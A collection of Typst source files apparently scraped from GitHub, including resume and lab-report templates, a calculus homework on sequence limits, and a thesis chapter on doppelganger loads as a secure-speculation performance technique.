- *Denken und Sprache:* Können Tiere denken?#en[Vgl. @MBWKMV2002_RP710[S 23]]
], [
- Kann ich sicher sein, dass Tiere denken? Wie ist es bei anderen Menschen? Sind sie oder Tiere vielleicht nur Maschinen?Welcher Bezug besteht zur Sprache?
],
[8/9], align(center + horizon)[/], align(center + horizon)[/],
[10], [
- *Regeln logischen Denkens:* Wie urteile und schließe ich korrekt?#en[Vgl. @MBWKMV2002_RP710[S. 34]]
], [
- Wie gut ist das Argument, dass wir nicht wissen können, ob es andere Bewusstseine außer des eigenen gibt? Welche Argumente zur Stützung der Ansicht gibt es? Welche sprechen dagegen? Wie gut sind sie?
],
[11/12], [
- *Erkenntnis:* dialektische Auseinandersetzung mit Thesen zur menschlichen Erkenntnis, Rationalismus#en[Vgl. @MBWKMV2019_RP1112[S. 12]]
], [
- Denken und Vernunft als reine Methode der Erkenntnis
]) |
https://github.com/jLevere/resume | https://raw.githubusercontent.com/jLevere/resume/main/template.typ | typst | // Function sets the document characteristics and builds the header. Parameters
// override cli arguments.
//
// If no parameters are included, will be populated from cli key value arguments in the form:
// ` typst compile doc.typ --input key=value `
#let conf(title: none, author: none, email: none, phone: none, links: none, doc) = {
let title = { if title == none { sys.inputs.at("title", default: "Default Title") } }
let author = { if author == none { sys.inputs.at("author", default: "Default Author") } }
let email = { if email == none { sys.inputs.at("email", default: "Default Email") } }
let phone = { if phone == none { sys.inputs.at("phone", default: "Default Phone") } }
let links = { if links == none { sys.inputs.at("links", default: "Default Links") } }
set document(author: author, title: "resume", date: datetime.today())
set text(font: "New Computer Modern", size: 11pt, lang: "en")
set page(margin: (x: 5em, y: 4em))
set align(left + top)
align(center)[
#show: text(weight: 700, 1.75em, title)
]
align(center)[
#show: text((phone, email, links).join(" | "))
]
set par(justify: true)
doc
}
// Returns a horizontal line across the page to divide sections
// -> str
#let chiline() = { v(-3pt); line(length: 100%); v(-5pt) }
// Creates an entry paragraph
#let entry_par(company, title, location, date, bullets) = {
text(weight: "bold", company)
box(width: 1fr, align(alignment.right, date))
"\n"
(title, location).join(" | ")
"\n"
list(..bullets)
}
// Creates a resume body entry such as job or project
#let entry(company, title, location, date, bullets) = {
par(leading: 0.60em, entry_par(company, title, location, date, bullets))
}
// Creates a degree entry
#let degree(school, degree, graduation_date, additional: "") = {
text(weight: "bold", school)
"\n"
text(style: "italic", degree)
box(width: 1fr, align(alignment.right, graduation_date))
additional
} |
|
https://github.com/Starlight0798/typst-nku-lab-template | https://raw.githubusercontent.com/Starlight0798/typst-nku-lab-template/main/template.typ | typst | MIT License | #import "@preview/chic-hdr:0.4.0": *
#import "@preview/codly:0.2.1": *
#import "@preview/i-figured:0.2.4"
#import "@preview/pintorita:0.1.1"
#import "@preview/gentle-clues:0.8.0": *
#import "@preview/cheq:0.1.0": checklist
#import "@preview/unify:0.6.0": num, qty, numrange, qtyrange
#let Heiti = ("Times New Roman", "Heiti SC", "Heiti TC", "SimHei")
#let Songti = ("Times New Roman", "Songti SC", "Songti TC", "SimSun")
#let Zhongsong = ("Times New Roman", "STZhongsong", "SimSun")
#let Xbs = ("Times New Roman", "FZXiaoBiaoSong-B05", "FZXiaoBiaoSong-B05S")
#let indent() = {
box(width: 2em)
}
#let info_key(body) = {
rect(width: 100%, inset: 2pt, stroke: none, text(font: Zhongsong, size: 16pt, body))
}
#let info_value(body) = {
rect(
width: 100%,
inset: 2pt,
stroke: (bottom: 1pt + black),
text(font: Zhongsong, size: 16pt, bottom-edge: "descender")[ #body ],
)
}
#let project(
course: "COURSE",
lab_name: "LAB NAME",
stu_name: "NAME",
stu_num: "1234567",
major: "MAJOR",
department: "DEPARTMENT",
date: (2077, 1, 1),
show_content_figure: false,
watermark: "",
body,
) = {
set page("a4")
// 封面
align(center)[
#image("./img/NKU-name.png", width: 70%)
#v(2em)
#set text(
size: 26pt,
font: Zhongsong,
weight: "bold",
)
// 课程名
#text(size: 25pt, font: Xbs)[
_#course _课程实验报告
]
#v(1em)
// 报告名
#text(size: 22pt, font: Xbs)[
_#lab_name _
]
#image("./img/NKU-logo.png", width: 40%)
#v(0.5em)
// 个人信息
#grid(
columns: (70pt, 160pt),
rows: (40pt, 40pt),
gutter: 3pt,
info_key("学院"),
info_value(department),
info_key("专业"),
info_value(major),
info_key("姓名"),
info_value(stu_name),
info_key("学号"),
info_value(stu_num),
)
#v(1pt)
// 日期
#text(font: Zhongsong, size: 14pt)[
#date.at(0) 年 #date.at(1) 月 #date.at(2) 日
]
]
pagebreak()
// 目录
show outline.entry.where(level: 1): it => {
v(12pt, weak: true)
strong(it)
}
show outline.entry: it => {
set text(
font: Xbs,
size: 12pt,
)
it
}
outline(
title: text(font: Xbs, size: 16pt)[目录],
indent: auto,
)
if show_content_figure {
text(font: Xbs, size: 10pt)[
#i-figured.outline(title: [图表])
]
}
pagebreak()
// 页眉页脚设置
show: chic.with(
chic-header(
left-side: smallcaps(
text(size: 10pt, font: Xbs)[
#course -- #lab_name
],
),
right-side: text(size: 10pt, font: Xbs)[
#chic-heading-name(dir: "prev")
],
side-width: (60%, 0%, 35%),
),
chic-footer(
center-side: text(size: 11pt, font: Xbs)[
#chic-page-number()
],
),
chic-separator(on: "header", chic-styled-separator("bold-center")),
chic-separator(on: "footer", stroke(dash: "loosely-dashed", paint: gray)),
chic-offset(40%),
chic-height(2cm),
)
// 正文设置
set heading(numbering: "1.1")
set figure(supplement: [图])
show heading: i-figured.reset-counters.with(level: 2)
show figure: i-figured.show-figure.with(level: 2)
show math.equation: i-figured.show-equation
set text(
font: Songti,
size: 12pt,
)
set par( // 段落设置
justify: false,
leading: 1.04em,
first-line-indent: 2em,
)
show heading: it => box(width: 100%)[ // 标题设置
#v(0.45em)
#set text(font: Xbs)
#if it.numbering != none {
counter(heading).display()
}
#h(0.75em)
#it.body
#v(5pt)
]
show link: it => { // 链接
set text(fill: blue.darken(20%))
it
}
show: gentle-clues.with( // gentle块
headless: false, // never show any headers
breakable: true, // default breaking behavior
header-inset: 0.4em, // default header-inset
content-inset: 1em, // default content-inset
stroke-width: 2pt, // default left stroke-width
border-radius: 2pt, // default border-radius
border-width: 0.5pt, // default boarder-width
)
show: checklist.with(fill: luma(95%), stroke: blue, radius: .2em) // 复选框
// 代码段设置
show: codly-init.with()
codly(
display-icon: false,
stroke-color: luma(200),
zebra-color: luma(240),
enable-numbers: true,
breakable: true,
)
show raw.where(lang: "pintora"): it => pintorita.render(it.text)
// 水印
set page(background: rotate(-60deg,
text(100pt, fill: rgb("#faf2f1"))[
#strong()[#watermark]
]
))
body
} |
https://github.com/thornoar/hkust-courses | https://raw.githubusercontent.com/thornoar/hkust-courses/master/MATH1023-Honors-Calculus-I/homeworks/homework-3/main.typ | typst | #import "@local/common:0.0.0": *
#import "@local/templates:0.0.0": *
#import "@local/theorem:0.0.0": *
#let thmstyle = thmstyle.with(base: none)
#show: thmrules
#let args = (base: none, titlefmt: it => underline(strong(it)))
#let lm = statestyle("lemma", "Lemma", ..args)
#let def = plainstyle("definition", "Definition", ..args)
#let note = plainstyle("note", "Note", ..args)
#show: math-preamble("Part 3", "Fri, Sep 27")
// #set math.equation(supplement: "Formula", numbering: "(1)")
// #show: equate.with(sub-numbering: false, number-mode: "label")
#attention(color: black, font: none, title: [*PLEASE READ*])[
When proving $x_n scripts(->)_(n -> oo) l$ using the formal definition of limit, it is sufficient to show that for every $epsilon > 0$ _there exists_ $N$, such that $abs(x_n - l) < epsilon$ for $n > N$. It is _not required_ to provide _the exact value_ for $N$. For example, proving that $1/sqrt(n) -> 0$ by saying that $1/n < delta^2$ for sufficiently large $n$ for all $delta > 0$ (with a formal definition of "sufficiently large") is sound mathematical logic based on the convergence of $1/n$ to 0, and I will appeal if you count this as a mistake. Providing exact values of $N$ is redundant and it runs against the whole intuition of limit --- that it doesn't matter how many first terms to exclude, as long as the desired behavior is achieved starting _from some point._
]
We will now give a rigorous definition for "sufficiently large", in order to simplify our proofs.
#def[
Let $P(n)$ be a predicate on the set of natural numbers $NN$, that is, $P(n)$ is either tue or false for all $n$. We say that $P(n)$ holds _for sufficiently large $n$,_ if there exists $N in NN$ such that $n > N$ implies the truth of $P(n)$.
]
#note[
We will assume throughout the proofs that for all $a in RR$, $a < n$ for sufficiently large $n$, and for all $a > 0$, $1/n < a$ for sufficiently large $n$. These two statements are trivial and they follow from the formal convergence of $1/n$ to 0.
]
#note[
The definition of limit can be re-formulated as follows:
#centering[
$limits(lim)_(n -> oo) x_n = l <==> $ for all $epsilon > 0$, $abs(x_n - l) < epsilon$ for sufficiently large $n$.
]
In fact, this definition is perfectly identical to the traditional one, but it is more convenient in proofs.
]
#lm[
If predicates $P(n)$ and $Q(n)$ both hold for sufficiently large $n$, then their conjunction also holds for sufficiently large $n$.
] <conj>
#pf[
Let $N_P$ be such that $n > N_P$ implies $P(n)$, and $N_Q$ be such that $n > N_Q$ implies $Q(n)$. Take $N = max{N_P, N_Q}$. Now, for $n > N$ we have both $n > N_P$ and $n > N_Q$, and thus the conjunction $P(n) and Q(n)$ holds.
]
#math-problem("1.2.1 (1)") Explain $1/2 n^2 < n^2 + (-1)^n n - 5 < 2 n^2$ for sufficiently large $n$.\
#math-solution The left inequality is equivalent to
$
(-1)^(n+1)n + 5 < 1/2 n^2.
$
For sufficiently large $n$, we have $5 < n$ and $4\/n < 1$ (since $4\/n -> 0$). Thus,
$
(-1)^(n+1)n + 5 <= abs((-1)^(n+1)n + 5) <= n + 5 < 2n = (2n^2)/(n) = 4/n dot 1/2 n^2 < 1/2 n^2.
$
It immediately follows that
$
(-1)^n n - 5 <= abs((-1)^n n - 5) = abs((-1)^(n+1) n + 5) < 1/2 n^2 < n^2,\
n^2 + (-1)^n n - 5 < 1/2 n^2 < 2n^2,\
$
proving the right inequality as well.
#math-problem("1.2.2 (3)") Rigorously find the limit of
$
(2 n^2 - 3n + 2)/(3 n^2 - 4n + 1).
$
#math-solution We claim that the limit is $2\/3$. To prove this, consider an arbitrarily small $epsilon > 0$. For sufficiently large $n$, we have
$
abs((2 n^2 - 3n + 2)/(3 n^2 - 4n + 1) - 2/3) = (4/3 n - 1/3)/(3 n^2 - 4 n + 1) < (2n)/(2n^2) = 1/n,
$
which is less than $epsilon$ for sufficiently large $n$, since $1/n ->_(n -> oo) 0$. Hence, by @conj the given sequence indeed tends to $2/3$.
#math-problem("1.2.2 (6)") Rigorously find the limit of
$
(sqrt(n) + a)/(n+b).
$
#math-solution We claim that the limit is 0. Consider an arbitrary $delta > 0$. For sufficiently large $n$, we have\ $0 < sqrt(n) + a < 2 sqrt(n)$, #h(.15cm) $n + b > 1/2 n$, #h(.1cm) and $1\/n < (delta\/4)^2$. Taking $N$ to be the maximum of the respective thresholds ($N = max {N_1, N_2, N_3}$), we can see that all three properties hold for $n > N$. Now, for such $n$ we have
$
abs((sqrt(n) + a)/(n + b) - 0) = (sqrt(n) + a)/(n + b) < (2 sqrt(n))/(1/2 n) = 4 1/sqrt(n) < delta,
$
and we are done.
#math-problem("1.2.4 (3)") Rigorously find the limit of
$
sqrt(n + a) - sqrt(n + b)
$
#math-solution Let $delta > 0$ be arbitrary. Without loss of generality, assume that $a > b$. Now, for sufficiently large $n$ we have
$
abs(sqrt(n + a) - sqrt(n + b) - 0) = ((sqrt(n+a) - sqrt(n+b))(sqrt(n+a) + sqrt(n+b)))/(sqrt(n+a) + sqrt(n+b)) = (a-b)/(sqrt(n+a) + sqrt(n+b)) < (2(a-b))/sqrt(n) < delta,
$
because
$
1/n < (delta/(2(a-b)))^2
$
for sufficiently large $n$. Therefore, $sqrt(n+a) - sqrt(n+b) ->_(n -> oo) 0$.
If we have $a < b$, then we write
$
sqrt(n + a) - sqrt(n + b) = -(sqrt(n+b) - sqrt(n+a)) ->_(n -> oo) -0 = 0,
$
reducing the problem to a case we already considered.
#math-problem("1.2.7") Rigorously prove $limits(lim)_(n -> oo) n^5.4/n! = 0$. Then prove $limits(lim)_(n -> oo) n^p/n! = 0$.\
#math-solution We will first prove that $n^m/n! ->_(n -> oo) 0$, where $m$ is a positive integer. Let $delta > 0$. We write
$
n^m/n! &= n/n dot n/(n-1) dot ... dot n/(n-(m-1)) dot 1/(n-m)!\
&= (1 + 1/(n-1)) (1 + 1/(n-2)) ... (1 + 1/(n-(m-1))) dot 1/(n-m)!\
&<= m (1 + 1/(n - m)) dot 1/(n-m)!.
$
For sufficiently large $n$, $1/(n-m)!$ will be less than $delta\/(2m)$ (since $1/(n-m)! <= 1/(n-m)$) and $1/(n-m)$ will be less than 1. Consequently, we have
$
m (1 + 1/(n - m)) dot 1/(n-m)! < m dot (1 + 1) dot delta/(2m) = delta
$
for sufficiently large $n$, which proves that $n^m/n!$ approaches 0.
We will now return to the solution. Let $delta > 0$ be freely chosen. Write
$
n^5.4/n! <= n^6/n! < delta,
$
where the last inequality holds for sufficiently large $n$ since $n^6/n! -> 0$. This proves that $n^5.4/n!$ also tends to 0.
As for the general case $p in RR$, we employ a similar tactic. There is a positive integer $m$ such that $p < m$. Similarly, we have
$
n^p/n! < n^m/n! < delta
$
for sufficiently large $n$, where $delta > 0$ is arbitrarily chosen in advance. Hence, $n^p/n! -> 0$.
#math-problem("1.2.9") Rigorously prove $limits(lim)_(n -> oo) n!/(n^n) = 0$.\
#math-solution Let $epsilon > 0$ be arbitrary. We simply write
$
n!/(n^n) = 1/n dot 2/n dot ... dot (n-1)/n dot n/n <= 1/n < epsilon
$
for sufficiently large $n$, since $1\/n -> 0$. Hence the given limit is also 0.
#math-problem("1.2.10") Prove that if $limits(lim)_(n -> oo) x_n = l$, then $limits(lim)_(n -> oo) abs(x_n) = abs(l)$.\
#math-solution Consider an $epsilon > 0$. For sufficiently large $n$, we have $abs(x_n - l) < epsilon$. Additionally, we have the triangle inequalities for $x_n$ and $l$:
$
abs(x_n) <= abs(l) + abs(x_n - l) ==> abs(x_n) - abs(l) <= abs(x_n - l),\
abs(l) <= abs(x_n) + abs(l - x_n) ==> abs(l) - abs(x_n) <= abs(x_n - l).\
$
Combining these two inequalities, we see that $abs(abs(x_n) - abs(l)) <= abs(x_n - abs(l))$. Finally, we write
$
abs(abs(x_n) - abs(l)) <= abs(x_n - l) < epsilon
$
for sufficiently large $n$, proving that $abs(x_n) ->_(n -> oo) abs(l)$.
#math-problem("1.2.13") Suppose $limits(lim)_(n -> oo) x_n = 0$.
+ If $x_n >= 0$, prove that $limits(lim)_(n -> oo) sqrt(x_n) = 0$.
+ If $x_n >= 0$ and $p > 0$, prove thath $limits(lim)_(n -> oo)x_n^p = 0$.
+ Prove that $limits(lim)_(n -> oo) root(3,x_n) = 0$.
#math-solution
+ Let $delta > 0$. Starting at some index, we have $x_n < delta^2$, by the definition of convergence. Then, starting at the same index, we have
$
sqrt(x_n) < sqrt(delta^2) = delta,
$
and we are done.
+ For sufficiently large $n$, we have $x_n < delta^(1/p)$ and $x_n^p < delta$, where $delta > 0$ is freely chosen in advance. Therefore, $x_n^p -> 0$.
+ For any $delta > 0$, we have $abs(x_n) < delta^3$ starting at some index $n = N$. Thus, we have $abs(root(3,x_n)) = root(3, abs(x_n)) < delta$ starting from the same index $N$.
#math-problem("1.2.16") For $a > 0$, by taking $x_n = y_n - l$ in Example 1.2.13 and Exercise 1.2.15, and using Exercise 1.2.11, rigorously argue that
$
limits(lim)_(n -> oo) y_n = l ==> limits(lim)_(n -> oo) a^(y_n) = a^l.
$
#math-solution With Example 1.2.13 and Exercise 1.2.15 at hand (Exercise 1.2.15 follows trivially from Example 1.2.13 by cosidering $b = 1\/a$ and arguing that $limits(lim)_(n -> oo) a^(x_n) = limits(lim)_(n -> oo) (1/b)^(x_n) = 1\/(limits(lim)_(n -> oo) b^(x_n)) = 1$), we can conclude that for $x_n -> 0$ and $a > 0$ we have $a^(x_n) -> 1$. Now assume that $y_n -> l$. Defining $x_n$ as $y_n - l$, we see that $x_n -> 0$ and conclude that $a^(x_n) -> 0$. Finally, by using Exercise 1.2.11, we write
$
a^(y_n) = a^(x_n + l) = a^(x_n) dot a^l -> 1 dot a^l = a^l,
$
and we are done.
#math-problem("1.2.19") Prove that if a sequence $x_n$ converges to $l$, then any subsequence $x_(n_k)$ also converges to $l$.\
#math-solution Consider an arbitrary $epsilon > 0$. Then, since $x_n -> l$, there exists $N in NN$ such that $abs(x_n - l) < epsilon$ for all $n > N$. Take $K = N$. Now, for all $k > K$, we have $n_k >= k > N$, and thus
$
abs(x_(n_k) - l) < epsilon,
$
q.e.d.
#math-problem("1.2.21") Suppose two sequences $x_n$ and $y_n$ satisfy $x_n = y_(n+K)$ for a constant integer $K$ and sufficiently large $n$. Prove that $limits(lim)_(n -> oo)$ exists iff $limits(lim)_(n -> oo) y_n$ exists and the two limit values are equal.\
#math-solution Suppose that for all $n > M$, we have $x_n = y_(n+K)$. Let $l in RR$ be arbitrary. Assume, for now, that $x_n ->_(n -> oo) l$. We will prove that $y_n$ approaches $l$ as well. Consider some $epsilon > 0$. Then, there is an integer $N$ such that $abs(x_n - l) < epsilon$ for $n > N$. By taking $N' = max{N+K, M+K}$, we have
$
abs(y_n - l) = abs(x_(n-K) - l) < epsilon,
$
for $n > N'$, since $n - K > N'-K >= N$. This proves that $y_n$ approaches $l$. Conversely, an analogical argument proves that if $y_n$ converges to $l$, then $x_n$ also converges to $l$. Therefore, we have
$
x_n ->_(n -> oo) l <==> y_n ->_(n -> oo) l,
$
which proves the desired statement. Indeed, if $limits(lim)_(n -> oo) x_n$ exists and is equal to $l$, then $limits(lim)_(n -> oo) y_n$ anso exists and is equal to $l$, and vice versa.
#math-problem("1.2.22 (1)") Prove that the following is equivalent to the definition of $limits(lim)_(n -> oo) x_n = l$:
#[
#set math.equation(supplement: "Condition")
$
#text([
For any $1 > epsilon > 0$, there is $N$, such that $n > N$ implies $abs(x_n - l) < epsilon$.
])
$ <condition>
]
#math-solution It is clear that the definition of limit implies @condition, because the latter is just a restriction of the former. If something holds for all $epsilon > 0$, it holds for al $1 > epsilon > 0$ as well. Now, let us prove that if the above condition holds, then $x_n ->_(n -> oo) l$. Let $epsilon > 0$ be arbitrary, and define $delta = min{epsilon, 1/2}$. Now, by the condition we assumed, there is a number $N$ such that $abs(x_n - l) < delta$ for $n > N$. Finally, for $n > N$ we have
$
abs(x_n - l) < min{epsilon, 1/2} <= epsilon,
$
and we are done.
#math-problem("1.2.23") Which are equivalent to the definition of $limits(lim)_(n -> oo) x_n = l$?
+ For $epsilon = 0.001$, we have $N = 1000$, such that $n > N$ implies $abs(x_n - l) < epsilon$ --- #text(red)[NO.]
+ For any $0.001 > epsilon > 0$, there is $N$, such that $n > N$ implies $abs(x_n - l) < epsilon$ --- #text(green)[YES.]
+ For any $epsilon > 0.001$, there is $N$, such that $n > N$ implies $abs(x_n - l) < epsilon$ --- #text(red)[NO.]
+ For any $epsilon > 0$, there is a natural number $N$, such that $n > N$ implies $abs(x_n - l) < 1/2 epsilon$ --- #text(green)[YES.]
+ For any $epsilon > 0$, there is $N$, such that $n > N$ implies $abs(x_n - l) < 2 epsilon^2$ --- #text(green)[YES.]
+ For any $epsilon > 0$, there is $N$, such that $n > N$ implies $abs(x_n - l) < epsilon + 1$ --- #text(red)[NO.]
+ For any $epsilon > 0$, we have $N = 1000$, such that $n > N$ implies $abs(x_n - l) < epsilon$ --- #text(red)[NO.]
+ For any $epsilon > 0$, there are infinitely many $n$, such that $abs(x_n - l) < epsilon$ --- #text(red)[NO.]
+ For infinitely many $epsilon > 0$, there is $N$, such that $n > N$ implies $abs(x_n - l) < epsilon$ --- #text(red)[NO.]
+ For any $epsilon > 0$, there is $N$, such that $n > N$ implies $l - 2 epsilon < x_n < l + epsilon$ --- #text(green)[YES.]
// #lm("order rule")[
// Let $x_n$ and $y_n$ be sequences such that $x_n <= y_n$ for sufficiently large $n$ (starting from $n = N$, for instance). Assume that both $x_n$ and $y_n$ converge to $alpha$ and $beta$ respectively. Then $alpha <= beta$.
// ]
// #pf[
// We will do a proof by contradiction. Suppose that $alpha > beta$. Denote the value $(alpha - beta)\/2$ by $epsilon$. By the definition of convergence, for sufficiently large $n$ we have
// $
// abs(x_n - alpha) < epsilon #h(5mm)"and"#h(5mm) abs(y_n - beta) < epsilon.
// $
// Now, we have $x_n > alpha - epsilon = beta + epsilon > y_n$ for all $n$ starting from some point, in contradiction with the condition $x_n <= y_n$.
// ]
// #lm("sandwich rule")[
// Let $x_n$ and $z_n$ be sequences converging to the same limit $alpha$, and let $y_n$ be such that $x_n <= y_n <= z_n$ for sufficiently large $n$. Then $y_n$ also has a limit and it equals $alpha$.
// ]
// #pf[
// Consider an arbitrary $epsilon > 0$. For sufficiently large $n$, we have $abs(x_n - alpha) < epsilon/4$ and $abs(z_n - alpha) < epsilon/4$. As a consequence, we see that
// $
// abs(z_n - x_n) = abs((z_n - alpha) - (x_n - alpha)) <= abs(z_n - alpha) + abs(x_n - alpha) < epsilon/2,
// $
// if $n$ is large enough. Now, since $x_n <= y_n <= z_n$ for large $n$, we have $y_n - x_n <= z_n - x_n$. Finally, we write
// $
// abs(y_n - alpha) = abs((y_n - x_n) + (x_n - alpha)) <= abs(y_n - x_n) + abs(x_n - alpha) <= abs(z_n - x_n) + abs(x_n - alpha) < epsilon/2 + epsilon/4 < epsilon,
// $
// q.e.d.
// ]
|
|
https://github.com/adamDilger/resume | https://raw.githubusercontent.com/adamDilger/resume/master/resume.typ | typst | #set text(size: 9pt, font: "New Computer Modern")
#set page(
margin: (x: 20pt, y: 20pt),
)
#let lightgray = rgb("D8D8D8")
#let blue = rgb("0049A7")
#align(center)[
#text(18pt)[= <NAME>]
Full Stack Web Developer
]
#show heading: it => block[
#text(fill: blue)[#it.body]
#v(3pt)
]
#line(stroke: 2pt + lightgray, length: 100%)
#let left_rect = [
#list(
tight: false,
marker: pad(top: 1pt, circle(radius: 2pt, fill: blue)),
spacing: 16pt,
[<EMAIL>],
[\<home_address\>],
[\<mobile_phone\>],
)
#line(stroke: rgb("D8D8D8"), length: 100%)
= Education
*Bachelor of Science* - 2018 \
#text(8pt)[_University of Tasmania_] \
#text(6pt)[(Maj. Comp Sci, Min. Mathematics)]
#line(stroke: rgb("D8D8D8"), length: 100%)
== Technical Skills
- Javascript/Typescript
- Vue/React
- Java/Spring
- GIS
- ArcGIS/OpenLayers
- Golang
- NodeJS/Deno
- C\#/.NET
- SQL/ORM
- Docker
- TailwindCSS/Bootstrap
- Serverless
- Cloudflare Workers, Deno Deploy
- CLI tools
- vim/git/gnu-utils/tmux
#line(stroke: rgb("D8D8D8"), length: 100%)
#text[
== Hobbies
- Cooking
- Guitar
- Golf
- Podcasts
- Programming
]
]
#let exp(title: "Job", company: "Company", time: "2020 - ") = {
v(6pt)
grid(
columns: (1fr, auto),
text(12pt)[*#title* - ] + text(9pt)[_#{company}_],
text(9pt)[*#time*]
)
}
#let right_rect = [
I am a software developer with 6+ years of experience in a range of different technologies. I am motivated to produce work of a high quality, driven to continuously learn and improve. I am enthusiastic about working in a team environment, enjoying problem solving and collaborating with my peers.
Throughout my career, I have actively sought to expand my knowledge beyond my work duties; learning new technologies by working on personal projects. I keep up to date with the latest industry trends and best practices by listening to podcasts and reading online resources.
= Experience
#exp(
title: "Full Stack Developer",
company: "Geometry Pty Ltd",
time: "Feb 2020 - Present"
)
Senior-level developer tasked with designing, developing and testing features and bugfixes in new and existing codebases. In this role, I was assigned the responsibility of maintaining Geometry's core codebase, and was instrumental in the process of releasing upgrades and improvements that were consumed by a number of projects.
Geometry's applications have a heavy GIS focus, which has allowed me to gain experience in handling, manipulating, and displaying spatial data, as well as working with a range of mapping libraries and APIs.
Projects:
- _*Geometry Enterprise Platform (GEP)*_
- A template project as a base for other Geometry projects
- Java/Spring Boot API with jQuery + Vue3 frontend
- Spring Data JPA ORM and Postgres/MSSQL databases
- _*PlanBuild Tasmania*_
- A form/workflow based webapp to digitise existing paper based processes
- An implementation of a GEP project
Achievements:
- Implemented NPM/Webpack/Javascript Modules into legacy Java web stack, applying across multiple projects maintaining feature parity with minimal breaking changes
- Implemented StarUML based code generator with Java/Freemarker templates, migrating from a bespoke legacy Win32 Application and proprietary file format
- Implemented daily time logging system for Geometry staff using Vue3/Tailwind/Golang/Docker, migrating from a PHP stack
- Implemented a custom Golang CLI tool to generate and manage a shared changelog.md file with structured YAML files
#exp(
title: "Associate Consultant",
company: "RXP Group",
time: "Jan 2018 - Feb 2020"
)
Mid-level developer tasked with providing managed services to a range of products and technologies. In this role I worked with business analysts and clients directly to triage, scope and deliver bugfixes and enhancements in a monthly release cycle.
Projects:
- _*Aurora PAYG+*_
- ReactJS frontend with d3.js charts component
- C\#/.NET Web API deployed on Azure infrastructure, built with TeamCity CI
- ReactNative mobile application
- _*Betfair Live*_
- ReactJS frontend with VictoryCharts component
- AWS Python and NodeJS Lambda backends built with Bitbucket CI
#exp(
title: "Mobile Application Developer",
company: "SEMF Pty Ltd",
time:"Nov 2015 - Aug 2017"
)
Solo developer tasked with design, development, deployment and support of 2 custom mobile applications. In this role I was tasked with managing the full project lifecycle and
support of a mobile application deployed to both Android and Apple ecosystems.
Projects:
- Minutes of Meeting DOCX Generator iPad App &
- Take 5 Safety Report Generator iOS/Android App
- iOS: Swift 3, CoreData, GRMustache.swift templating
- Android: Java, iText PDF Creation Library, jsoup HTML Parser, HTML + CSS
]
#let personal_projects = [
= Personal Projects
*#underline(link("https://adventory.gift")[Adventory]) - Christmas Present List Manager*
- Vue3/Nuxt PWA to view, manage and update live Christmas lists for a group, deployed on Cloudflare Workers with Turso database, authenticated via Google Oauth
*E-paper display wireless dashboard*
- Custom ESP32 based e-paper display to show live data from a range of sources including weather, solar power generation, with data collated/polled from a Deno Deploy serverless function
*Raspberry Pi Time Tracker*
- Golang/sqlite/svelte app to track and log the time of entering and leaving the office, deployed with Docker on a Raspberry Pi, using CSS animations to display the data in the look of a radar
*StarUML MDJ difftool*
- Golang based CLI tool to display a coloured text diff of two StarUML ER Diagram JSON files
*Poll Wagyu Website*
- Upgraded and re-themed a Wordpress website deployed to VentraIP with CPanel
*Australian Architects Declare Website*
- A custom Wordpress website deployed on a cloud VPS with docker-compose to supersede a shared CraftCMS based solution
]
#grid(
columns: (160pt, auto),
rows: (auto),
block(pad(top: 6pt, right: 10pt, left_rect)),
block(stroke: (left: 1pt + lightgray), pad(left: 10pt, right_rect))
)
#pagebreak()
#grid(
columns: (160pt, auto),
rows: (auto),
block(pad(top: 6pt, right: 10pt)[]),
block(stroke: (left: 1pt + lightgray), pad(left: 10pt, personal_projects))
)
|
|
https://github.com/gldraphael/typst-resume | https://raw.githubusercontent.com/gldraphael/typst-resume/main/resume.typ | typst | #import "template.typ": *
#show: resume.with(
full-name: "<NAME>",
email: "<EMAIL>",
place: "North Pole",
links: (
(name: "Tracker", link: "https://santatracker.google.com/"),
(name: "Status", link: "https://www.noradsanta.org/en/"),
)
)
#lorem(30)
#section(title: "Work Experience")
#position(
title: "<NAME>",
company: "St. Nicholas Trust",
location: "The North Pole",
dates: "1990-present"
)
- #lorem(10)
- #lorem(20)
- #lorem(25)
- #lorem(19)
#position(
title: "<NAME>",
company: "St. Nicholas Trust",
location: "The North Pole",
dates: "1990-present"
)
- #lorem(18)
- #lorem(27)
#position(
title: "<NAME>",
company: "St. Nicholas Trust",
location: "The North Pole",
dates: "1990-present"
)
- #lorem(8)
- #lorem(12)
#section(title: "Technologies")
- #lorem(10)
- #lorem(20)
- #lorem(25)
- #lorem(19)
#section(title: "Education")
- #lorem(10)
- #lorem(20)
- #lorem(25)
- #lorem(19)
#section(title: "Contributions")
- #lorem(10)
- #lorem(20)
#section(title: "Interests")
- Cookies
- Milk
- Mrs. Claus
|
|
https://github.com/mumblingdrunkard/mscs-thesis | https://raw.githubusercontent.com/mumblingdrunkard/mscs-thesis/master/src/doppelganger-loads/index.typ | typst | = Doppelganger Loads <ch:doppelganger>
We are implementing doppelganger loads in hardware @bib:doppelganger.
This chapter presents the concept of Doppelganger Loads, how they do not change the safety guarantees of secure speculation, and how they improve performance.
At its core, doppelganger loads attempt to regain some of the MLP that is lost when applying secure speculation schemes.
== Register File Prefetching
To explain doppelganger loads, it is useful to first explain _register file prefetching_ (RFP).
The increasing complexity of processors has necessitated deeper L1 cache pipelines, causing relative access latencies to increase to as much as 5 cycles.
One of the key observations by the team behind RFP is that performance could be improved as much as 9% by making L1d access appear like accessing the register file on a modern design with a 5 cycle L1d access latency @bib:rfp.
RFP recognises that by using a predictor to guess which addresses are going to be accessed by individual load instructions, the value can be read from L1 cache before the real address is generated.
The prefetched values are put in the correct location in the register file but dependents are not issued until the address is confirmed, at which point dependent instructions can use the value immediately and do not have to wait an additional 5 cycles after the address has been generated to perform the cache access, nor for the value to become available in the register file as it is already there.
With this kind of setup, the team achieved a 3.1% performance improvement on a modern processor, and as much as a 5.7% performance improvement in a "futuristic" twice-as-wide core design with increased L1 bandwidth @bib:rfp.
Note that this is different from the concept of _value prediction_ (VP) in which dependent instructions are executed before their dependencies are definitely known.
RFP does not allow dependent instructions to execute until the prediction is known to be correct (correct address and not violating any ordering requirements).
== Doppelganger Loads are Safe
What Kvalsvik et al. recognise in @bib:doppelganger is that by training a load address predictor only on committed loads and issuing loads early using predicted addresses, it is possible to recover some of the MLP that is lost when using secure speculation schemes.
Because it is only trained on committed loads, speculative cache accesses using these predictions only reveal information about past correct execution, which is already considered leaked under the appropriate threat models.
There are some extra edge-cases that have to be handled carefully depending on the underlying secure speculation scheme but the approach is generally safe.
Accesses based on these predictions are dubbed _doppelgangers_ or _doppelganger loads_ and stand in for a load to the real address until the real address is calculated.
When the address is correctly predicted, the value can propagate as soon as the underlying secure speculation scheme allows it.
This is a big improvement when the cache access latency is high.
